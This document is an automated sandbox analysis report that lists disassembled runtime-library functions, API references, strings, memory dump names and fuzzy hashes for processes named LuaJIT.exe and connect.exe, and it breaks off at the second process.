Function 00007FF718A5510C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 153COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A55316

Part of subcall function 00007FF718A5B50C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF718A5B596

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A55151

Strings

, xrefs: 00007FF718A552A1

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: 0a8a8d45eaf96d2a73655245a80df36af030cc4d3d42afe52c3477950326923b
Instruction ID: 18465c55caaf824ee5d7ee0b6d287b434792e2307ae853ea01ef4ace3763cddb
Opcode Fuzzy Hash: 0a8a8d45eaf96d2a73655245a80df36af030cc4d3d42afe52c3477950326923b
Instruction Fuzzy Hash: 0261887291EA0287E764AF248055B7CF7B1FB01728F941335EA8E85199CF68D4C9CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A557E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A55823
_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A559F2

Strings

, xrefs: 00007FF718A5596F

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: 2d095834a2104921987fa37a4aff31fa213f193f1dcbe801d9f563858545fc12
Instruction ID: 5c9b1f617405636cd248efa4147ab0c5f74eeebb06faa3d3ff68078b8d7377bb
Opcode Fuzzy Hash: 2d095834a2104921987fa37a4aff31fa213f193f1dcbe801d9f563858545fc12
Instruction Fuzzy Hash: AD61A47291EE12C7E764AF29804493CF771EB05B74F941335E68A82295CF2CE4C9DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A555D4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A55601
_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A55634

Strings

, xrefs: 00007FF718A55782

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: 7336c6b1b8cef402cd81652aea3174f170f050f10262c53445015a526692f56d
Instruction ID: 01f4ae3ec17b9c0d35002202179634cc43a8332bbd48443864c146b739777472
Opcode Fuzzy Hash: 7336c6b1b8cef402cd81652aea3174f170f050f10262c53445015a526692f56d
Instruction Fuzzy Hash: 5D61973290EA42C7E764AE248044B3CF7B1EB15F38F941735E98A821D5DF28E4C8C728

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189EDEB0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

csm, xrefs: 00007FF7189EE00F
CCG , xrefs: 00007FF7189EE018

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ContextEntryFunctionLookup$CaptureRestoreUnwindVirtual
String ID: CCG $csm
API String ID: 3115360832-2763669848
Opcode ID: dc8fccf7ca8e766654be7590a9894087392905afef7ade7a48763b5d94113a86
Instruction ID: ddca888ae0c8eb1d88c569c4b12a2ed215abca209e2895f4fee2475af30a716c
Opcode Fuzzy Hash: dc8fccf7ca8e766654be7590a9894087392905afef7ade7a48763b5d94113a86
Instruction Fuzzy Hash: DA41F331A0CF4582EB24AB1AE40437DEB51FB44BE6F944136DE5E17B95CE3CE4498328

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7B4BC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF718A7B4FF

Strings

gfff, xrefs: 00007FF718A7B621
e+000, xrefs: 00007FF718A7B5A4

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 4d715df011184d0384ef2c0a8b9eb83a41ce5f6d5ed9fe64f526ca6b20865ed3
Instruction ID: c0a2bf0762629cdddf75aa6e1bf3f2711a326db24635ab2f82fdbf1ccacaf8a3
Opcode Fuzzy Hash: 4d715df011184d0384ef2c0a8b9eb83a41ce5f6d5ed9fe64f526ca6b20865ed3
Instruction Fuzzy Hash: A55138A2B19BC147E7249B359841B69EB91EB40BA0F889331C79847BD6CE3ED449C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A70EB0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF718A7113B

Strings

fmod, xrefs: 00007FF718A7110C
!, xrefs: 00007FF718A7112B

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _handle_error
String ID: !$fmod
API String ID: 1757819995-3213614193
Opcode ID: 3486dae74be8d2bf4559ced1ca804f4ce772c55f7fad267fccd18b6ac7307164
Instruction ID: 0333f22977b780106f28ccd06f1b965ba523acfa52edb48a48369924a8b535cb
Opcode Fuzzy Hash: 3486dae74be8d2bf4559ced1ca804f4ce772c55f7fad267fccd18b6ac7307164
Instruction Fuzzy Hash: 86510C12D2EF8187D32367359812FB9D798BFA23D0F809332E90A355A5DF5E704B5258

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A7CF28 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF718A7D03F
GetLastError.KERNEL32 ref: 00007FF718A7D061

Strings

U, xrefs: 00007FF718A7CFEB

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 64caa10afcb0b3e9bdc43fafa48991d91f9dac045ff2b8f9ba1d715bc28533f2
Instruction ID: b040fa03d4d9cfd01faea94c0ee4901d726335b6d17ddb7871c7921e2b0e38c2
Opcode Fuzzy Hash: 64caa10afcb0b3e9bdc43fafa48991d91f9dac045ff2b8f9ba1d715bc28533f2
Instruction Fuzzy Hash: 3141F432B1AE8186DB209F25E4447AAE360FB847A0F804235EE4E87748DF3DD445C764

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A80650 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_set_errno_from_matherr.LIBCMT ref: 00007FF718A806FC
_set_errno_from_matherr.LIBCMT ref: 00007FF718A80710

Strings

tanh, xrefs: 00007FF718A80677

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _set_errno_from_matherr
String ID: tanh
API String ID: 1187470696-874243715
Opcode ID: 0df01c4d3716d176c8033b9ee1a2b3e3dcb4d4f7419aade9133a7a272eb46637
Instruction ID: 80b2e29814c97ff3d28602b33852a0c35e3d4b2c347c07637cf58d0f9725edb6
Opcode Fuzzy Hash: 0df01c4d3716d176c8033b9ee1a2b3e3dcb4d4f7419aade9133a7a272eb46637
Instruction Fuzzy Hash: DE213236A19A45CBE760DF28E44166AF3A0FBD9710F905635F68D82B55EF3CE4048F24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A188BE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 53COMMON

Download Yara Rule

APIs

_handle_error.LIBCMT ref: 00007FF718A75D97

Strings

!, xrefs: 00007FF718A75D83
sqrt, xrefs: 00007FF718A75D58

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: _handle_error
String ID: !$sqrt
API String ID: 1757819995-799759792
Opcode ID: 3d8d27d03e2554664d99fe904a843613c1529ac74455d068ca8da587f3d6b841
Instruction ID: dae6cdbfc5ccc7d27487073235e6632c9d015d8fb09dbdf20b94c33750b9a2e8
Opcode Fuzzy Hash: 3d8d27d03e2554664d99fe904a843613c1529ac74455d068ca8da587f3d6b841
Instruction Fuzzy Hash: BA112932D19FC583DB10DB21940472AE261EF9B7F4F508330FAA8066D9DF2DE049AB04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79978 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A799B1
CompareStringW.KERNEL32 ref: 00007FF718A79A39

Strings

CompareStringEx, xrefs: 00007FF718A79994, 00007FF718A799A5

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: CompareStringtry_get_function
String ID: CompareStringEx
API String ID: 3328479835-2590796910
Opcode ID: b9a81c18c85f8aa471723c89ba3257d79275654ee71a63e90f46d91bca982dcf
Instruction ID: ed8734fc6299c0c5b3bbdd3b8fa4880f4974c5278a13edd220a7b95794590cd8
Opcode Fuzzy Hash: b9a81c18c85f8aa471723c89ba3257d79275654ee71a63e90f46d91bca982dcf
Instruction Fuzzy Hash: B6114932A0DB8086D760DB45B4406AAF7A4FB89BD0F844236EACD83B59DF3CD4558B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79C18 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A79C51
GetDateFormatW.KERNEL32(?,?,?,?,?,?,?,00007FF718A846C1,?,?,?,?,?,?,?,00000000), ref: 00007FF718A79CB3

Strings

GetDateFormatEx, xrefs: 00007FF718A79C34, 00007FF718A79C45

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: DateFormattry_get_function
String ID: GetDateFormatEx
API String ID: 595753042-159735388
Opcode ID: ae91f775559fdd773db68d2a3df91305be9197e359e4adfaf81ac6ff22e26d2c
Instruction ID: 77a6c7f164e4c300653615dd78f86ea9c8f02b6da293c64def93bee2f7d52e04
Opcode Fuzzy Hash: ae91f775559fdd773db68d2a3df91305be9197e359e4adfaf81ac6ff22e26d2c
Instruction Fuzzy Hash: 3B113D21A09F8187E7509B55B44055AF7A0FB88BD0F584236EF8D43B59DE3CD5188B54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79D54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A79D8D
GetTimeFormatW.KERNEL32(?,?,?,?,?,?,?,00007FF718A84772,?,?,?,?,?,?,?,00000000), ref: 00007FF718A79DE4

Strings

GetTimeFormatEx, xrefs: 00007FF718A79D70, 00007FF718A79D81

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: FormatTimetry_get_function
String ID: GetTimeFormatEx
API String ID: 3261793192-1692793031
Opcode ID: f1ddae523debab6bf048c284bf48d6aace1c9e158f355b230673b210b9cf96d8
Instruction ID: 476658aa3ec656f15d873bfef230e56c2e4a784b6c0a368e6919eb0300ace33b
Opcode Fuzzy Hash: f1ddae523debab6bf048c284bf48d6aace1c9e158f355b230673b210b9cf96d8
Instruction Fuzzy Hash: 8F118231A0DF41C7E7509B56A40045AF7A0FB88BE0F580236EF8D43B29CE3CD5588B54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A125B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF718A125D2
FormatMessageA.KERNEL32 ref: 00007FF718A12602

Strings

system error %d, xrefs: 00007FF718A1261E

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID: system error %d
API String ID: 3479602957-1688351658
Opcode ID: 8332af026310832f434476acea3ba6885ae8396224c2dbcaec45421bbfbf08f1
Instruction ID: d6db633497593921a73043dea92a2b0dc2f5288bed9187ff2bf5d5c4da97cf20
Opcode Fuzzy Hash: 8332af026310832f434476acea3ba6885ae8396224c2dbcaec45421bbfbf08f1
Instruction Fuzzy Hash: 15017131A1DE8182F760AB11F811B6AF3A0FB887D4F845235DA8D47799DF3CD4198B24

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A79E29
GetUserDefaultLCID.KERNEL32(?,?,000000A0,00007FF718A89C60), ref: 00007FF718A79E40

Strings

GetUserDefaultLocaleName, xrefs: 00007FF718A79E0C, 00007FF718A79E16

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: DefaultUsertry_get_function
String ID: GetUserDefaultLocaleName
API String ID: 3217810228-151340334
Opcode ID: 8d9eb975ebd9b73e43f347966b6e4b461a0a53dd1fd7c151eb977a5abb739598
Instruction ID: 443f2ad0cc405b6b4c454f840345f0c8487084d4c67210f4ffda000f15833907
Opcode Fuzzy Hash: 8d9eb975ebd9b73e43f347966b6e4b461a0a53dd1fd7c151eb977a5abb739598
Instruction Fuzzy Hash: 96F0B410F0EE0293FF547B51A9819B9E2616F48BE0FC84136DA1D02656DE2CA45CD328

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79E64 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A79E95
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,-00000018,00007FF718A7DB62,?,?,?,00007FF718A7DA5A,?,?,?,00007FF718A6B59D), ref: 00007FF718A79EAF

Strings

InitializeCriticalSectionEx, xrefs: 00007FF718A79E89

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 9b89a648009126e3679e5c9c6c7b270f53a601a9df6bf21ee630fcfe565e4a35
Instruction ID: f789294be98991d567c345b905446ff5c855035fcc71812a2258ffa79f064af3
Opcode Fuzzy Hash: 9b89a648009126e3679e5c9c6c7b270f53a601a9df6bf21ee630fcfe565e4a35
Instruction Fuzzy Hash: E9F09021E0EF9193EB44AB41A8008A5E220BF48BA0FC84236EA1D03B55DE3CE8598324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF718A79BC4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF718A79BED
TlsSetValue.KERNEL32(?,?,?,00007FF718A7AF02,?,?,?,00007FF718A6B3E1,?,?,?,?,00007FF718A80643), ref: 00007FF718A79C04

Strings

FlsSetValue, xrefs: 00007FF718A79BDA

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 14eb54919eaf09d7f5c697f3172bdc7af3da22ecbcc84ea25ba25b777209fee2
Instruction ID: d89ef401edd4862224933248a211981d2f0c13099768dd10ed08099096384a89
Opcode Fuzzy Hash: 14eb54919eaf09d7f5c697f3172bdc7af3da22ecbcc84ea25ba25b777209fee2
Instruction Fuzzy Hash: B3E0A061E0ED4293EB446B54EC409B5E261AF487A0FC84236D61D06295DE3CE45C8238

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7189FFF50 Relevance: 5.1, APIs: 4, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00007FF7189FFF67
EnterCriticalSection.KERNEL32 ref: 00007FF7189FFF97
LeaveCriticalSection.KERNEL32 ref: 00007FF7189FFFF5
Sleep.KERNEL32 ref: 00007FF7189FFFFD

Memory Dump Source

Source File: 0000000D.00000002.2221572426.00007FF7189E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7189E0000, based on PE: true

Associated: 0000000D.00000002.2221545631.00007FF7189E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221711439.00007FF718A91000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221754563.00007FF718AB2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000D.00000002.2221803188.00007FF718AB5000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff7189e0000_LuaJIT.jbxd

Similarity

API ID: CriticalSectionSleep$EnterLeave
String ID:
API String ID: 890587828-0
Opcode ID: 2e5f2a7be58a541593dcebee813d02368c63509f341683be91463bad87c06b5d
Instruction ID: 94f77545d1fdfad36e0a98b2a95d93b14869445ff912c1077ce5e951aa84b780
Opcode Fuzzy Hash: 2e5f2a7be58a541593dcebee813d02368c63509f341683be91463bad87c06b5d
Instruction Fuzzy Hash: 13219F32A08E8187D758AB34984027CF761FB45B75F500235EB6E036D8DF3DE8598758

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: LuaJIT.exePID: 5424, Parent PID: 4004COMMON

Executed Functions

Function 00007FF72F6C932B Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

>d, xrefs: 00007FF72F6C950F

Memory Dump Source

Source File: 00000011.00000003.2432305981.00007FF72F6C7000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF72F6C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_7ff72f6c7000_LuaJIT.jbxd

Similarity

API ID:
String ID: >d
API String ID: 0-1745365245
Opcode ID: 9a8319e0faded9ea6c8759abdab961fb9eefb03618cd650196700a55e35cd39d
Instruction ID: f759d556f40f704293c0ad7e30927c8c6a8737a6593d0717b28d95c69f2b190f
Opcode Fuzzy Hash: 9a8319e0faded9ea6c8759abdab961fb9eefb03618cd650196700a55e35cd39d
Instruction Fuzzy Hash: 93613430A15E4B9BDBA4EF24884C7A1F7A2FF44710F924378C49DD758ADB34A885CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF72F6C9311 Relevance: 1.4, Strings: 1, Instructions: 176COMMON

Download Yara Rule

Strings

>d, xrefs: 00007FF72F6C950F

Memory Dump Source

Source File: 00000011.00000003.2432305981.00007FF72F6C7000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF72F6C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_3_7ff72f6c7000_LuaJIT.jbxd

Similarity

API ID:
String ID: >d
API String ID: 0-1745365245
Opcode ID: ecc5c8e03a33747d51434005c44b4b73eb8e9869fd5a8cf9ab8ede08c07b0cb6
Instruction ID: dec04419a4172336d28943158ec34adb7d4f9623d86b7a81da821efdd7760ac5
Opcode Fuzzy Hash: ecc5c8e03a33747d51434005c44b4b73eb8e9869fd5a8cf9ab8ede08c07b0cb6
Instruction Fuzzy Hash: AC61F430A19E4B9BD795EF24C84C6A5F7A2FF44310F9243B8C489D758ADB34A885CB90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: connect.exePID: 1584, Parent PID: 1216COMMON

Execution Graph

Execution Coverage:	33.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.1%
Total number of Nodes:	73
Total number of Limit Nodes:	7

Executed Functions

Function 03B84C28 Relevance: 1.8, APIs: 1, Instructions: 262
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

